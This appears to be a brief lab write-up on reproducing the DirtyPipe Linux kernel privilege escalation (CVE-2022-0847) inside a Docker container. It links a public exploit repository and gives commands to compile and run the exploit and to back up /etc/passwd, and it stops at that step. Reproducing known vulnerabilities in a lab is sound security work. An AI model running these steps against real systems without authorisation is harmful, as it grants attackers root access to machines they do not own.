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Reproducing the CVE-2022-0847 DirtyPipe Privilege Escalation Vulnerability

DirtyPipe \(CVE-2022-0847\) is a vulnerability in the Linux kernel since version 5.8 that allows data in arbitrary read-only files to be overwritten. Exploitation requires kernel version 5.8 or later.

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0x00 Introduction

DirtyPipe (CVE-2022-0847) is a vulnerability in the Linux kernel since version 5.8 that allows data in arbitrary read-only files to be overwritten.

Exploitation requires kernel version 5.8 or later.

Original article: https://dirtypipe.cm4all.com/

Preparation

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Create a low-privileged user.

My environment is inside Docker.

uname -a

Linux ae801d08733b 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/redhat-release

CentOS Linux release 7.9.2009 (Core)

0x02 Reproduction

https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
gcc exploit.c -o exp -std=c99
./exp

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The compilation error is shown below. Add std=c99.

gcc exploit.c -o exp -std=c99

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Back Up the Password File

cp /etc/passwd /tmp/passwd